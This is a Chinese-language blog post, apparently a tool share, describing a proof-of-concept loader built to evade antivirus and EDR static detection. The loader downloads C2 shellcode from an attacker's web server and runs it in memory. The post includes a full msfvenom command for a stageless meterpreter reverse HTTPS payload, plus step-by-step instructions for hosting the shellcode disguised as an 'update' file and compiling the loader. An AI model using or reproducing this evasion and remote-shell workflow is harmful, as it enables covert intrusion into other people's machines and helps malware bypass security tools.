编译一个.exe文件POC | 完全避免AV/EPP/EDR静态检测你的C2 shell代码 | 免杀技巧

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/VirtualAlllocEx/Shellcode-Downloader-CreateThread-Execution

Shellcode-Downloader-CreateThread-Execution

如果你使用系统调用(本机API)来执行C2 shell代码,通常会遇到一个问题,那就是你编译的.exe文件会被AV/EPP/EDR静态检测标记。很多时候,造成这个问题的原因是C2 shell代码必须直接在c++ POC中作为字符串或.bin资源包含在内,因此众所周知的C2 shell代码(例如Metasploit、CobaltStrike、Empire Shellcode等)被AV/EPP/EDR静态标记。这意味着,无论你使用哪种巧妙的技术来规避API-Hooking、内核回调函数等上下文中的预防/检测,你的.exe POC将在你执行它之前被标记。如果你想在Visual Studio中编译一个c++ POC,也不可能将无阶段shellcode包含在char字符串中,因为字符串长度是有限制的(尽可能保持无阶段 😉)。

根据我的经验,根据AV/EPP/EDR来规避动态预防/检测往往不是最重要的事情。同样重要的是,要考虑如何规避静态预防/检测,以便可能打破后面可能连接的动态或内存预防/检测的链条。

这个POC为你提供了编译一个.exe文件的可能性,以完全避免AV/EPP/EDR静态检测你的C2 shell代码,并下载和执行你的C2 shell代码,它托管在你的(C2)Web服务器上。

通过这个POC,我们的优势在于,C2反向Shell的shellcode并没有作为字符串或.bin文件包含在POC中。

 

ad1a1b7183183006

这样,我们就不会遇到AV/EPP/EDR静态检测C2 shellcode的问题,因为完整的C2 shell代码托管在Web服务器上。

通过这个POC,我们的优势在于,C2反向Shell的shellcode并没有作为字符串或.bin文件包含在POC中。因此,我们不会遇到AV/EPP/EDR静态检测C2 shellcode的问题,因为完整的C2壳代码托管在Web服务器上。

1. 使用MSF-Venom创建无阶段Shellcode

kali> msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.0.1 LPORT=443 -f c --arch x64 --platform windows -o /tmp/meterx64.c

 

ad1a1b7183183037

2. 在Web服务器上托管包含MSF无阶段Shellcode的文件

基于c++ POC中的代码,托管的shellcode必须是HEX格式。为了将整个MSF-shellcode放在一行中,你可以使用Notpad++中的行操作函数连接行,然后删除字符串中的非空格和双引号。只有在HEX-shellcode字符串的开头和结尾,我们需要双引号。

 

ad1a1b7183183112

 

ad1a1b7183183120

 

 

ad1a1b7183183129

最后,你可以将包含无阶段MSF-shellcode的文件保存为没有任何文件类型结尾的文件,例如我们称之为“update”,然后将MSF-Shellcode文件上传到你选择的Web服务器上。

3. 将c++ POC中的链接更改为你的MSF有效负载 在这一步中,我们将POC中的链接更改为我们托管了无阶段MSF-Shellcode的Web服务器上的链接,并在Visual Studio中编译为Release x64

 

ad1a1b7183183211

**使用VS编译后,你将得到一个x64二进制文件,其中不包含任何C2-shellcode字符串或.bin文件。执行后,C2壳代码将在目标主机的内存中下载并执行。**目前,使用Create Thread执行shellcode的方式是通过WIN32 API实现的。但是,即使不使用系统调用,这个POC也会很好地完成工作😉。

标签:工具分享, 免杀技巧, shellcode生成工具